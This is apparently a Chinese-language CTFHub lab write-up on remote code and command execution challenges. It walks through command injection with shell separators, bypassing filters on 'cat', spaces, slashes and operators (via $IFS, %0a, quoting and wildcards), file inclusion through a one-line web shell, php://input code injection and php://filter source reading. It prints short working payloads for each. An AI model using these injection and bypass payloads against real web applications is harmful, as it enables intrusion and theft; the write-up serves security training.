目录
RCE全称为remote command/code excude,简单来说就是远程命令,分为远程代码执行ping和远程代码执行eval。RCE漏洞,即攻击者可以直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
1.eval执行
启动环境
用ls查看服务器当前目录文件
没有找到flag,直接查看根目录 ls /
通过cat命令查看,找到flag
2.命令注入
linux命令的连接符:& 表示任务在后台执行,
&& 表示前一条命令执行成功时,才执行后一条命令
| 是管道命令符,上一条命令的输出,作为下一条命令的参数
|| 表示上一条命令执行失败后,才执行下一条命令
需要传入ip并用ls加入所需执行的命令
本题先用ls查看有哪些文件
1.1.1.1&ls
使用cat获取flag所在的文件内容
1.1.1.1&cat 121012575223421.php
查看源代码获取flag
3.过滤cat
与无过滤一样,先用ls查看有哪些文件
找到flag所在文件,因为cat命令被过滤,需使用如下4种方法:
1.单引号 2.双引号 3.\ 4.shell特殊变量
最后查看源代码找到flag
4.过滤空格
用ls查看有哪些文件
找到flag所在文件。因为空格被过滤,可用以下几种字符替代:
< ,> , <> , %20 , %09, $IFS$9 , ${IFS} $IFS
本题可用如下三种方式绕过
查看源代码找到flag
5.过滤目录分隔符
用ls查看有哪些目录文件
再用ls打开flag所在的文件夹
找到flag所在文件
先把目录定位在flag_is_here的文件夹中,再打开含有flag的文件
1.1.1.1&cd flag_is_here;cat flag_6869881318794.php
查看源代码,找到flag
6.过滤运算符
打开环境,发现管道运算符|和&被过滤,则用;分隔命令来替代
用ls查看
找到flag所在文件
用cat命令查看
查看页面源代码,找到flag
7.综合练习
发现好多符号被过滤
换行符的url编码为%0a
?ip=1.1.1.1%0als
我们需要打开flag_is_here,但flag被过滤,使用%09*或f***
/?ip=1.1.1.1%0als${IFS}%09*_is_here
使用cat查看flag,由于cat被过滤,使用如下代码
用%0a代替分隔符,${IFS}代替空格,%09*代替flag
?ip=1.1.1.1.1%0acd${IFS}%09*is_here${IFS}%0aca""t${IFS}%09*_275251866819959.php
查看源代码找到flag
注意!!!由于%0a是url编码,必须输入在url中,否则会重新编码
8.文件包含
启动环境
根据题意,需要上传file参数,但不能是flag,存在shell.txt,所以访问?file=shell.txt
点击shell,发现是一句话木马。因此,有如下两种方法:1.使用蚁剑 2.使用hackbar
1,获取了相对路径以及密码,我们可以使用蚁剑连接
连接成功后我们可以使用终端cat打开文件或在根目录的最下面找到flag
2. 使用hackbar进行postdata的注入,往ctfhub里面传参。
先用ls查看目录
查看根目录ls /
用cat打开flag
9.php://input
php://input是用来访问各个输入/输出流的,可以接受post请求作为输入流的输入,将请求作为php代码输入,使其以post的形式输入
启动场景
题目意思为当传入的文件前6个字符为php://时执行文件。
查看phpinfo。发现开关开着,可以使用php://input
这里使用bp,发送到repeater
协议头输入/?file=php://input
请求体输入<?php system('ls /');?>
找到flag,用cat打开文件
10.读取源代码
启动环境 与上题一样,先使用bp抓包
发现并不能找到flag,需要使用filter协议
构造payload
http://challenge-57d1ad411600190d.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag
用base64在线解码
11.远程包含
启动场景
打开phpinfo
可以使用php://input。打开bp抓包
用cat打开flag文件,得到flag